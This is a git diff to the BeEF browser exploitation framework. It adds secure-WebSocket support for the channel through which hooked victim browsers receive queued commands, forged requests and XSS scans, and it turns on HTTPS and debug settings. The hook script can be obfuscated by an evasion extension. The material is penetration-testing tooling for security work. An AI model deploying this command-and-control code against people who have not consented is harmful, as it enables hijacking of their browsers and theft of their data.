diff --git a/beef b/beef index 6302be317..5b84151e6 100755 --- a/beef +++ b/beef @@ -81,7 +81,7 @@ Socket.do_not_reverse_lookup = true case config.get("beef.database.driver") when "sqlite" DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}") - when "mysql","postgres" + when "mysql", "postgres" DataMapper.setup(:default, :adapter => config.get("beef.database.driver"), :host => config.get("beef.database.db_host"), @@ -125,11 +125,12 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" if config.get("beef.http.websocket.enable") BeEF::Core::Websocket::Websocket.instance print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + if config.get("beef.http.websocket.secure") + print_info "Starting WebSocket-Secured server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + end end - - # @note Call the API method 'pre_http_start' BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) @@ -140,7 +141,7 @@ if config.get("beef.extension.console.shell.enable") == true begin FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder"))) BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt, - BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run + BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run rescue Interrupt end else diff --git a/config.yaml b/config.yaml index 1aa4c98f7..8cb8c95e2 100644 --- a/config.yaml +++ b/config.yaml @@ -17,7 +17,7 @@ beef: version: '0.4.3.6-alpha' - debug: false + debug: true restrictions: # subnet of browser ip addresses that can hook to the framework @@ -41,9 +41,10 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: - enable: false - secure: false # use WebSocketSecure + enable: true + secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF port: 61985 # good success rate through proxies + secure_port: 61986 #to accept wss connection alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) @@ -53,7 +54,7 @@ beef: # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: - enable: false + enable: true # In production environments, be sure to use a valid certificate signed for the value # used in beef.http.dns (the domain name of the server where you run BeEF) key: "beef_key.pem" diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 25ccdeeba..e1cca10ee 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -27,15 +27,18 @@ beef.websocket = { var webSocketPort = <%= @websocket_port %>; var webSocketSecure = <%= @websocket_secure %>; var protocol = "ws://"; - - if(webSocketSecure) + //console.log("We are inside init"); + /*use wss only if hooked domain is under tls*/ + if(webSocketSecure && window.location.protocol=="https:"){ protocol = "wss://"; + webSocketPort= <%= @websocket_sec_port %>; + } - if (beef.browser.isFF() && !!window.MozWebSocket) { - beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + if (beef.browser.isFF() && !!window.MozWebSocket) { + beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } else { - beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } }, @@ -43,10 +46,10 @@ beef.websocket = { start:function () { new beef.websocket.init(); this.socket.onopen = function () { - //console.log("Socket has been opened!"); + //console.log("Socket has been opened!"); - /*send browser id*/ - beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); + /*send browser id*/ + beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); //console.log("Connected and Helo"); beef.websocket.alive(); } diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 0ad19d01f..5d7b164a0 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -14,126 +14,127 @@ # limitations under the License. # module BeEF -module Core -module Handlers -module Modules + module Core + module Handlers + module Modules - # @note Purpose: avoid rewriting several times the same code. - module BeEFJS + # @note Purpose: avoid rewriting several times the same code. + module BeEFJS - # Builds the default beefjs library (all default components of the library). - # @param [Object] req_host The request object - def build_beefjs!(req_host) - config = BeEF::Core::Configuration.instance - # @note set up values required to construct beefjs - beefjs = '' - # @note location of sub files - beefjs_path = "#{$root_dir}/core/main/client/" - # @note we load websocket library only if ws server is enabled in config.yalm - # check in init.js - if config.get("beef.http.websocket.enable") + # Builds the default beefjs library (all default components of the library). + # @param [Object] req_host The request object + def build_beefjs!(req_host) + config = BeEF::Core::Configuration.instance + # @note set up values required to construct beefjs + beefjs = '' + # @note location of sub files + beefjs_path = "#{$root_dir}/core/main/client/" + # @note we load websocket library only if ws server is enabled in config.yalm + # check in init.js + if config.get("beef.http.websocket.enable") - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) - else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) + else + js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) - end + end - # @note construct the beefjs string from file(s) - js_sub_files.each {|js_sub_file_name| - js_sub_file_abs_path = beefjs_path + js_sub_file_name - beefjs << (File.read(js_sub_file_abs_path) + "\n\n") - } + # @note construct the beefjs string from file(s) + js_sub_files.each { |js_sub_file_name| + js_sub_file_abs_path = beefjs_path + js_sub_file_name + beefjs << (File.read(js_sub_file_abs_path) + "\n\n") + } - # @note create the config for the hooked browser session + # @note create the config for the hooked browser session - hook_session_name = config.get('beef.http.hook_session_name') - hook_session_config = BeEF::Core::Server.instance.to_h + hook_session_name = config.get('beef.http.hook_session_name') + hook_session_config = BeEF::Core::Server.instance.to_h - # @note if http_host="0.0.0.0" in config ini, use the host requested by client - if hook_session_config['beef_host'].eql? "0.0.0.0" - hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) - end + # @note if http_host="0.0.0.0" in config ini, use the host requested by client + if hook_session_config['beef_host'].eql? "0.0.0.0" + hook_session_config['beef_host'] = req_host + hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + end + + # @note if http_port <> public_port in config ini, use the public_port + unless hook_session_config['beef_public_port'].nil? + if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + if hook_session_config['beef_public_port'] == '443' + hook_session_config['beef_url'].sub!(/http:/, 'https:') + end + end + end + + if config.get("beef.http.websocket.enable") + hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") + hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") + hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer") + hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") + end + + # @note populate place holders in the beefjs string and set the response body + eruby = Erubis::FastEruby.new(beefjs) + @hook = eruby.evaluate(hook_session_config) + + if config.get("beef.extension.evasion.enable") + evasion = BeEF::Extension::Evasion::Evasion.instance + @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) + end + + @body << @hook - # @note if http_port <> public_port in config ini, use the public_port - unless hook_session_config['beef_public_port'].nil? - if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] - hook_session_config['beef_port'] = hook_session_config['beef_public_port'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - if hook_session_config['beef_public_port'] == '443' - hook_session_config['beef_url'].sub!(/http:/, 'https:') end + + # Finds the path to js components + # @param [String] component Name of component + # @return [String|Boolean] Returns false if path was not found, otherwise returns component path + def find_beefjs_component_path(component) + component_path = component + component_path.gsub!(/beef./, '') + component_path.gsub!(/\./, '/') + component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" + + return false if not File.exists? component_path + + component_path + end + + # Builds missing beefjs components. + # @param [Array] beefjs_components An array of component names + def build_missing_beefjs_components(beefjs_components) + # @note verifies that @beef_js_cmps is not nil to avoid bugs + @beef_js_cmps = '' if @beef_js_cmps.nil? + + if beefjs_components.is_a? String + beefjs_components_path = find_beefjs_component_path(beefjs_components) + raise "Invalid component: could not build the beefjs file" if not beefjs_components_path + beefjs_components = {beefjs_components => beefjs_components_path} + end + + beefjs_components.keys.each { |k| + next if @beef_js_cmps.include? beefjs_components[k] + + # @note path to the component + component_path = beefjs_components[k] + + # @note we output the component to the hooked browser + @body << File.read(component_path)+"\n\n" + + # @note finally we add the component to the list of components already generated so it does not get generated numerous times. + if @beef_js_cmps.eql? '' + @beef_js_cmps = component_path + else + @beef_js_cmps += ",#{component_path}" + end + } + end + end + end - - if config.get("beef.http.websocket.enable") - hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") - hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") - hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer") - end - - # @note populate place holders in the beefjs string and set the response body - eruby = Erubis::FastEruby.new(beefjs) - @hook = eruby.evaluate(hook_session_config) - - if config.get("beef.extension.evasion.enable") - evasion = BeEF::Extension::Evasion::Evasion.instance - @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) - end - - @body << @hook - end - - # Finds the path to js components - # @param [String] component Name of component - # @return [String|Boolean] Returns false if path was not found, otherwise returns component path - def find_beefjs_component_path(component) - component_path = component - component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') - component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - - return false if not File.exists? component_path - - component_path - end - - # Builds missing beefjs components. - # @param [Array] beefjs_components An array of component names - def build_missing_beefjs_components(beefjs_components) - # @note verifies that @beef_js_cmps is not nil to avoid bugs - @beef_js_cmps = '' if @beef_js_cmps.nil? - - if beefjs_components.is_a? String - beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} - end - - beefjs_components.keys.each {|k| - next if @beef_js_cmps.include? beefjs_components[k] - - # @note path to the component - component_path = beefjs_components[k] - - # @note we output the component to the hooked browser - @body << File.read(component_path)+"\n\n" - - # @note finally we add the component to the list of components already generated so it does not get generated numerous times. - if @beef_js_cmps.eql? '' - @beef_js_cmps = component_path - else - @beef_js_cmps += ",#{component_path}" - end - } - end - end - -end -end -end end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a24506827..b5c6ec0e4 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -27,15 +27,88 @@ module BeEF @@activeSocket= Hash.new @@lastalive= Hash.new @@config = BeEF::Core::Configuration.instance + #@@wsopt=nil MOUNTS = BeEF::Core::Server.instance.mounts def initialize - port = @@config.get("beef.http.websocket.port") - secure = @@config.get("beef.http.websocket.secure") + + + secure = @@config.get("beef.http.websocket.secure") #&& @@config.get("beef.http.https.enable") + @root_dir = File.expand_path('../../../../../', __FILE__) + + if (secure) + #Thread for websocket-secure + Thread.new { + port = @@config.get("beef.http.websocket.secure_port") + sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + EventMachine.run { + + wsopt = {:host => "0.0.0.0", :port => port, :secure => true, + :tls_options => { + :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), + :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") + } + } + + + EventMachine::WebSocket.start(wsopt) do |ws| + begin + print_debug "New WebSocket-secured channel open." + ws.onmessage { |msg| + msg_hash = JSON.parse("#{msg}") + #@note messageHash[result] is Base64 encoded + if (msg_hash["cookie"]!= nil) + print_debug("WebSocket-secured - Browser says helo! WebSocket is running") + #insert new connection in activesocket + @@activeSocket["#{msg_hash["cookie"]}"] = ws + print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]") + elsif msg_hash["alive"] != nil + hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + unless hooked_browser.nil? + hooked_browser.lastseen = Time.new.to_i + hooked_browser.count! + hooked_browser.save + + #Check if new modules need to be sent + zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + + #@todo antisnatchor: + #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + #Check if new forged requests need to be sent (Requester/TunnelingProxy) + dhook = BeEF::Extension::Requester::API::Hook.new + dhook.requester_run(hooked_browser, '') + + #Check if new XssRays scan need to be started + xssrays = BeEF::Extension::Xssrays::API::Scan.new + xssrays.start_scan(hooked_browser, '') + end + else + #json recv is a cmd response decode and send all to + #we have to call dynamicreconstructor handler camp must be websocket + #print_debug("Received from WebSocket #{messageHash}") + execute(msg_hash) + end + } + rescue Exception => e + print_error "WebSocket-secured error: #{e}" + end + end + } + + } + end + + #Thread for websocket Thread.new { + port = @@config.get("beef.http.websocket.port") sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets - EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start) - EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws| + EventMachine.run { + + wsopt = {:host => "0.0.0.0", :port => port} + + + EventMachine::WebSocket.start(wsopt) do |ws| begin print_debug "New WebSocket channel open." ws.onmessage { |msg| @@ -81,6 +154,7 @@ module BeEF } } + end #@note retrieve the right websocket channel given an hooked browser session @@ -115,7 +189,7 @@ module BeEF handler = data["handler"] if handler.match(/command/) BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"], - @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results) + @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results) else #processing results from extensions, call the right handler data["beefhook"] = hooked_browser data["results"] = JSON.parse(Base64.decode64(data["result"]))